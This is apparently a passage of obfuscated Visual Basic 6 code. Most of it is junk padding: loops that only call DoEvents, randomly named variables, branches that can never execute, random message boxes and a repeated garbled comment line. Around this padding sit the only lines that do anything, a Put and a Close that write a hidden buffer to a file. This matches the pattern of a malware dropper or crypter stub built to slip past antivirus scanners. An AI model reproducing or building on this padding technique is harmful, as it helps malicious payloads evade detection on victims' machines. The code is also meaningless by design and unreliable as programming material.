'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim efyYnZAF As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For efyYnZAF = 0 To 5
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next efyYnZAF
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
        MsgBox ("wYBhWmuS51")
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If Len("mMglnwdN8491") = Len("TlhFAqyc") Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim DDSSufTg As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim SoACJPPl As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For SoACJPPl = 0 To 6
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next SoACJPPl
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DDSSufTg = 2
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While DDSSufTg < 29
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim BFHHeEnT As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For BFHHeEnT = 0 To 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next BFHHeEnT
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: DDSSufTg = DDSSufTg + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim BOqfWcAn As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For BOqfWcAn = 0 To 2
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next BOqfWcAn
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim kyEjjwoq As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For kyEjjwoq = 0 To 5
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next kyEjjwoq
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
       MsgBox ("Error !!!")
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim DFOVhshx As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim QFaAeoFU As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For QFaAeoFU = 0 To 2
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next QFaAeoFU
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DFOVhshx = 2
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While DFOVhshx < 21
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim CmdZHvjP As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For CmdZHvjP = 0 To 4
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next CmdZHvjP
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: DFOVhshx = DFOVhshx + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim hdCFilVC As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For hdCFilVC = 0 To 2
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next hdCFilVC
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim FxZloKFI As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For FxZloKFI = 0 To 6
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next FxZloKFI
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
    Put #RVDHCWIGIMP, , ZEFGKWXQJQF
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 811923 = 811923 + 1 Then End
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 8778 < 22 Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim CErlisbo As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim xvvYkbkj As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For xvvYkbkj = 0 To 3
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next xvvYkbkj
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
CErlisbo = 4
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While CErlisbo < 48
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim UfMWGfPh As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For UfMWGfPh = 0 To 5
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next UfMWGfPh
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: CErlisbo = CErlisbo + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim dTkokHEo As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For dTkokHEo = 0 To 5
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next dTkokHEo
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim FvloXqMG As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For FvloXqMG = 0 To 3
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next FvloXqMG
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
        MsgBox ("EiWYpgQD65")
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If Len("shIKUYsH6845") = Len("HETYlzLW") Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim TTXNKbOS As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim YkwVDesB As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For YkwVDesB = 0 To 5
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next YkwVDesB
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
TTXNKbOS = 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While TTXNKbOS < 46
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim YllpCaXu As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For YllpCaXu = 0 To 5
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next YllpCaXu
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: TTXNKbOS = TTXNKbOS + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim BhUyMJkf As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For BhUyMJkf = 0 To 5
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next BhUyMJkf
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim azHlSlvT As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For azHlSlvT = 0 To 3
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next azHlSlvT
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
       MsgBox ("Error !!!")
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
End If
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim RQwamyao As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim RRjkmWbD As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For RRjkmWbD = 0 To 8
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next RRjkmWbD
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
RQwamyao = 9
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While RQwamyao < 47
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim TxrhKmmB As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For TxrhKmmB = 0 To 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next TxrhKmmB
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: RQwamyao = RQwamyao + 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim QLTsYARb As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For QLTsYARb = 0 To 5
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next QLTsYARb
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Loop
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim hljvAJQz As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For hljvAJQz = 0 To 2
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next hljvAJQz
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
    Close #RVDHCWIGIMP
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 124517 = 124517 + 1 Then End
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
If 1379 < 75 Then
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð

'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim SLgnnXsE As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim KajnwyBN As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For KajnwyBN = 0 To 1
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next KajnwyBN
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
SLgnnXsE = 2
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Do While SLgnnXsE < 21
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Dim ooItKlEe As Integer
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
For ooItKlEe = 0 To 4
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
Next ooItKlEe
'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
DoEvents: SLgnnXsE = SLgnnXsE + 1
